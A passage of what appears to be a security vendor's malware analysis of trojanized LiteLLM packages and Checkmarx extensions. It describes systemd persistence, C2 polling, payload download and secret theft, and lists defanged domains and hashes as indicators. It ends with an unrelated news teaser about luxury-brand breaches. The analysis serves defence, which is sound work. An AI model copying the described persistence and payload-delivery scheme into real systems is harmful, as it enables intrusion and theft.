Next, the malware executes another stage of infection: it saves a Base64-encoded script disguised as a legitimate system component to the Kubernetes node’s disk at the path /root/.config/sysmon/sysmon.py, and registers it via systemd. After launching, the script waits for an initial delay of 300 seconds, then begins periodically contacting the C2 node checkmarx[.]zone/raw, retrieving a link to the next payload from there. If the received value differs from the state previously saved in /tmp/.pg_state, the script downloads a new file to /tmp/pglog, makes it executable, and runs it in the background. At this stage, the attackers gain a foothold in the system and are capable of regularly delivering updated payloads without the need for re-injection. Since the malicious payload is written not to the container’s temporary file directory but directly to the Kubernetes cluster node, the attackers will retain access to the infrastructure even after the container has terminated.
A similar scenario is used for local persistence: in the absence of Kubernetes, the sysmon.py script is deployed in the user’s directory at ~/.config/sysmon/sysmon.py and is also registered as a service via systemd.
While analyzing files communicating with the C2 server, we discovered malicious versions of two common Checkmarx software extensions: ast-results 2.53.0 and cx-dev-assist 1.7.0. Checkmarx is used for application security assessment. These trojanized extensions contained malicious code that delivered the NodeJS version of the malware described above.
This version is downloaded from checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz using NodeJS package installation utilities and is named checkmarx-util. Its key difference from the Python version is that it does not attempt to elevate privileges to the Kubernetes node level and does not create a privileged pod for persistence. Instead, it implements local persistence within the current environment. This means that the NodeJS variant persists only where it is already running.
Additionally, the list of folders to search for and steal secrets from is significantly smaller in this version than in the Python variant.
Checkmarx extensions are used to scan code and infrastructure configurations, so their compromise is quite dangerous: an attacker gains access not only to project files but also to a significant portion of the development environment, tokens, and local configurations.
While assessing the attack’s impact, we saw victims all over the world. Most infection attempts occurred in Russia, China, Brazil, the Netherlands, and UAE.
As the technical analysis shows, the malicious scripts found in the LiteLLM versions are dangerous not only because they steal files containing sensitive data, but also because they target multiple critical infrastructure components simultaneously: the local system, cloud runtime secrets, the Kubernetes cluster, and even cryptographic keys. Such a broad scope of data collection allows an attacker to quickly move from compromising a single system and Python environment to seizing service accounts, secrets, and entire infrastructures.
To protect against infections of this kind, we recommend using a specialized solution for monitoring open-source components. Kaspersky provides real-time data feeds on compromised packages and libraries, which can be used to secure the supply chain and protect development projects from such threats.
Home security solutions, such as Kaspersky Premium, help ensure the security of personal devices by providing multi-layered protection that prevents and neutralizes infection threats. Additionally, our solution can restore the device’s functionality in the event of a malware infection.
To protect corporate devices, we recommend using a complex solution such as Kaspersky NEXT, which allows you to build a flexible and effective security system. The products in this line provide threat visibility and real-time protection, as well as EDR and XDR capabilities for threat investigation and response.
At the time of writing, the compromised versions of LiteLLM had already been removed from PyPI and OpenVSX. If you have used them, and as a proactive response to the threat, we recommend taking the following measures on your systems and infrastructure:
URLs
models[.]litellm[.]cloud
checkmarx[.]zone
Infected packages
85ED77A21B88CAE721F369FA6B7BBBA3
2E3A4412A7A487B32C5715167C755D08
0FCCC8E3A03896F45726203074AE225D
Scripts
F5560871F6002982A6A2CC0B3EE739F7
CDE4951BEE7E28AC8A29D33D34A41AE5
05BACBE163EF0393C2416CBD05E45E74
Luxury brands were among the dozens of major companies whose Salesforce instances were targeted by Scattered LAPSUS$ Hunters.
The post Dior, Louis Vuitton, Tiffany Fined $25 Million in South Korea After Data Breaches appeared first on SecurityWeek.
